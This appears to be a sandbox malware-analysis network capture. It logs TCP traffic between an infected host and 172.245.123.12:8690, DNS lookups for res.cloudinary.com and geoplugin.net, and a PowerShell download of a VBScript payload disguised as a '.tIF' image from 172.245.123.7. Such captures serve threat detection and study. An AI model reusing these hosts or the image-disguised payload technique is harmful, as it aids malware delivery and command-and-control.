Jan 14, 2025 06:13:23.372570038 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372582912 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372585058 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372601986 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372603893 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372617006 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372623920 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372632027 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372647047 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372674942 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372682095 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372700930 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372703075 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372716904 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372733116 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372756004 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372767925 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372771025 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372786045 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372788906 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372801065 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372817993 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372831106 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372833967 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372849941 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372850895 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372864962 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372880936 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372894049 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372895956 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372910023 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372914076 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372925043 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372940063 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372952938 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372955084 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372972012 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.372973919 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.372988939 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373004913 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373018980 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373018980 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373034000 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373039007 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373049021 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373064995 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373078108 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373080969 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373096943 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373097897 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373111963 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373127937 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373141050 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373157024 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373162985 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373182058 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373197079 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373212099 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373226881 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373229980 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373245001 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373251915 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373259068 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373269081 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373275042 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373290062 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373298883 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373306036 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373328924 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373343945 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373352051 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373358965 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373373985 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373373985 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373390913 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373405933 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373420000 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373420954 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373439074 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373440027 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373454094 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373470068 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373482943 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373486042 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373501062 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373516083 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373518944 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373523951 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373538017 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373553991 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373559952 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373569965 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373579979 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373619080 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373645067 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373667002 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373683929 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373699903 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373716116 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373732090 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373739958 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373739958 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373749018 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373768091 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373794079 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373815060 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373845100 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373859882 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373872995 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373887062 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373902082 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373914003 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373917103 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373931885 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373934031 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373945951 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373963118 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373974085 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.373977900 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373994112 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.373996019 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.374007940 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.374013901 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.374023914 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.374066114 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.374375105 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464072943 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464123964 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464159012 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464179993 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464211941 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464267015 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464301109 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464323044 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464335918 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464344025 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464368105 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464401007 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464432955 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464454889 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464466095 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464482069 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464498997 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464531898 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464565039 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464595079 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464600086 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464615107 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464632988 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464664936 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464700937 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464714050 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464735985 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464746952 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464768887 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464802027 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464833021 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464848042 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464865923 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464868069 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464896917 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464930058 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464962006 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.464977980 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.464996099 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.465013027 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.465029001 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.465061903 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.465094090 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.465111017 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.465128899 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.465141058 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.515753031 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.591733932 CET	80	49740	178.237.33.50	192.168.2.4
Jan 14, 2025 06:13:23.595436096 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:13:24.656038046 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:24.661375999 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.661412954 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.661468029 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:24.661509037 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.661521912 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.661533117 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.661544085 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.661556959 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.661557913 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:24.661571026 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.661583900 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.661596060 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.666614056 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.666637897 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.666649103 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.666660070 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.666671038 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.666683912 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.666982889 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:24.667035103 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:25.254122972 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:25.255382061 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:25.260510921 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:55.316217899 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:55.317565918 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:55.322979927 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:14:25.364146948 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:14:25.381203890 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:14:25.386399031 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:14:55.417370081 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:14:55.418504953 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:14:55.423500061 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:15:11.953836918 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:15:12.406440020 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:15:13.093931913 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:15:14.390832901 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:15:16.906526089 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:15:21.906640053 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:15:25.460155964 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:15:25.461797953 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:15:25.466697931 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:15:31.593945026 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:15:55.491769075 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:15:55.492774963 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:15:55.498290062 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:16:25.526017904 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:16:25.527997971 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:16:25.532831907 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:16:55.551426888 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:16:55.553165913 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:16:55.558108091 CET	8690	49739	172.245.123.12	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 06:13:05.126061916 CET	52565	53	192.168.2.4	1.1.1.1
Jan 14, 2025 06:13:05.162748098 CET	49634	53	192.168.2.4	1.1.1.1
Jan 14, 2025 06:13:21.972028971 CET	58816	53	192.168.2.4	1.1.1.1
Jan 14, 2025 06:13:21.979295969 CET	53	58816	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 06:13:05.126061916 CET	192.168.2.4	1.1.1.1	0x3f68	Standard query (0)	res.cloudinary.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 06:13:05.162748098 CET	192.168.2.4	1.1.1.1	0x7fa2	Standard query (0)	res.cloudinary.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 06:13:21.972028971 CET	192.168.2.4	1.1.1.1	0xfc52	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 06:13:05.160339117 CET	1.1.1.1	192.168.2.4	0x3f68	No error (0)	res.cloudinary.com	ion.cloudinary.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 06:13:05.170173883 CET	1.1.1.1	192.168.2.4	0x7fa2	No error (0)	res.cloudinary.com	resc.cloudinary.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 06:13:21.979295969 CET	1.1.1.1	192.168.2.4	0xfc52	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

172.245.123.7

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.245.123.7	80	7392	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 06:12:59.969784021 CET	326	OUT	GET /77/seethebestthingsforgetmebackwithgoodnewsthings.tIF HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 172.245.123.7 Connection: Keep-Alive
Jan 14, 2025 06:13:00.454273939 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 05:13:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 13 Jan 2025 12:18:33 GMT ETag: "39627-62b95716a9803" Accept-Ranges: bytes Content-Length: 235047 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: 44 69 6d 20 73 68 20 27 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 20 6f 62 6a 65 63 74 0d 0a 44 69 6d 20 66 73 6f 20 27 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53 79 73 74 65 6d 4f 62 6a 65 63 74 0d 0a 44 69 6d 20 66 6f 72 6d 61 74 20 27 53 74 72 69 6e 67 46 6f 72 6d 61 74 74 65 72 20 6f 62 6a 65 63 74 0d 0a 44 69 6d 20 73 75 69 74 65 46 6f 6c 64 65 72 20 27 73 74 72 69 6e 67 3a 20 66 6f 6c 64 65 72 20 77 68 65 72 65 20 74 65 73 74 20 73 75 69 74 65 20 73 63 72 69 70 74 73 20 61 72 65 20 6c 6f 63 61 74 65 64 0d 0a 44 69 6d 20 70 72 6f 6a 65 63 74 46 6f 6c 64 65 72 20 27 73 74 72 69 6e 67 3a 20 72 6f 6f 74 20 66 6f 6c 64 65 72 20 66 6f 72 20 74 68 69 73 20 70 72 6f 6a 65 63 74 0d 0a 44 69 6d 20 73 75 69 74 65 46 69 6c 74 65 72 20 27 73 74 72 69 6e 67 3a 20 66 69 6c 65 6e 61 6d 65 20 66 69 6c 74 65 72 20 66 6f 72 20 73 65 6c 65 63 74 69 6e 67 20 69 6e 74 65 67 72 61 74 69 6f 6e 20 74 65 73 74 20 73 75 69 74 65 73 2e 0d 0a 44 69 6d 20 63 61 70 74 69 6f 6e 20 27 73 74 72 69 6e 67 3a 20 4d 73 67 42 6f 78 [TRUNCATED] Data Ascii: Dim sh 'WScript.Shell objectDim fso 'Scripting.FileSystemObjectDim format 'StringFormatter objectDim suiteFolder 'string: folder where test suite scripts are locatedDim projectFolder 'string: root folder for this projectDim suiteFilter 'string: filename filter for selecting integration test suites.Dim caption 'string: MsgBox/PopUp title bar text.Dim aDocGens 'array of strings: filespecs for code-comment-based documentation generators.Dim aGits 'array of strings: common filespecs for Git bash and Git GUI executables.Dim aDocs 'array of strings: filespecs for last-minute docs to update before a push.Dim nextItem 'integer: current index of the prepItems array.Dim settings 'integer: controls MsgBox/PopUp behaviour.Dim prepItems 'array: list of prcedure (Sub) names to be called by window.SetTimeout.Dim flagFile 'string: filename of a temp file used by Setup.vbs.Dim versionLink 'web pag
Jan 14, 2025 06:13:00.454296112 CET	224	IN	Data Raw: 65 20 77 69 74 68 20 76 65 72 73 69 6f 6e 20 69 6e 66 6f 0d 0a 44 69 6d 20 65 64 69 74 6f 72 20 27 64 6f 63 75 6d 65 6e 74 20 65 64 69 74 6f 72 0d 0a 44 69 6d 20 70 6f 77 65 72 73 68 65 6c 6c 20 27 66 69 6c 65 73 70 65 63 20 6f 66 20 61 20 70 77 Data Ascii: e with version infoDim editor 'document editorDim powershell 'filespec of a pwsh.exe, if available; or just "powershell"Const CreateNew = True 'for the OpenTextFile method.Const Enter = 13 'window.event.keyCode for t
Jan 14, 2025 06:13:00.454313040 CET	1236	IN	Data Raw: 68 65 20 45 6e 74 65 72 20 6b 65 79 0d 0a 43 6f 6e 73 74 20 45 73 63 20 3d 20 32 37 20 27 77 69 6e 64 6f 77 2e 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 20 66 6f 72 20 74 68 65 20 45 73 63 20 6b 65 79 0d 0a 43 6f 6e 73 74 20 73 79 6e 63 68 72 6f 6e Data Ascii: he Enter keyConst Esc = 27 'window.event.keyCode for the Esc keyConst synchronous = True 'for the Run methodConst hidden = 0 'for the Run methodConst VBScript = "VBScript" 'for the SetTimeout methodConst uninstallKey = "HKLM\Software
Jan 14, 2025 06:13:00.454329014 CET	1236	IN	Data Raw: 72 6f 67 72 61 6d 73 5c 47 69 74 5c 63 6d 64 5c 67 69 74 2d 67 75 69 2e 65 78 65 20 7c 20 25 4c 6f 63 61 6c 41 70 70 44 61 74 61 25 5c 50 72 6f 67 72 61 6d 73 5c 47 69 74 5c 67 69 74 2d 62 61 73 68 2e 65 78 65 22 0d 0a 20 20 20 20 64 65 66 61 75 Data Ascii: rograms\Git\cmd\git-gui.exe \| %LocalAppData%\Programs\Git\git-bash.exe" defaultDocs = "ChangeLog.md \| ProjectInfo.vbs" defaultEditor = "notepad" With New Configurer powershell = .PowerShell If .Exists( "sui
Jan 14, 2025 06:13:00.454344988 CET	1236	IN	Data Raw: 6e 69 6e 73 74 61 6c 6c 22 20 5f 0d 0a 20 20 20 20 20 20 20 20 2c 20 22 53 74 6f 70 53 63 72 69 70 74 73 22 20 5f 0d 0a 20 20 20 20 20 20 20 20 2c 20 22 52 75 6e 53 65 74 75 70 22 20 5f 0d 0a 20 20 20 20 20 20 20 20 2c 20 22 52 75 6e 54 65 73 74 Data Ascii: ninstall" _ , "StopScripts" _ , "RunSetup" _ , "RunTestSuites" _ , "GenerateDocs" _ , "OpenProgramsAndFeatures" _ , "OpenGit" _ ) flagFile = "Setup.bat" caption = document.
Jan 14, 2025 06:13:00.454363108 CET	672	IN	Data Raw: 6e 73 65 20 54 68 65 6e 0d 0a 20 20 20 20 20 20 20 20 41 77 61 69 74 4e 65 78 74 49 74 65 6d 0d 0a 20 20 20 20 20 20 20 20 45 78 69 74 20 53 75 62 0d 0a 20 20 20 20 45 6e 64 20 49 66 0d 0a 20 20 20 20 46 6f 72 20 45 61 63 68 20 64 6f 63 20 49 6e Data Ascii: nse Then AwaitNextItem Exit Sub End If For Each doc In aDocs If reqConfirmChkBox.checked Then response = MsgBox( "Edit " & doc & "?", settings, caption ) Else response = vbYes
Jan 14, 2025 06:13:00.454377890 CET	1236	IN	Data Raw: 74 49 74 65 6d 0d 0a 20 20 20 20 20 20 20 20 45 78 69 74 20 53 75 62 0d 0a 20 20 20 20 45 6e 64 20 49 66 0d 0a 20 20 20 20 49 66 20 72 65 71 43 6f 6e 66 69 72 6d 43 68 6b 42 6f 78 2e 63 68 65 63 6b 65 64 20 54 68 65 6e 0d 0a 20 20 20 20 20 20 20 Data Ascii: tItem Exit Sub End If If reqConfirmChkBox.checked Then response = MsgBox("Uninstall the VBScripting components and libraries, etc.?", settings, caption) Else response = vbYes End If If vbYes = respons
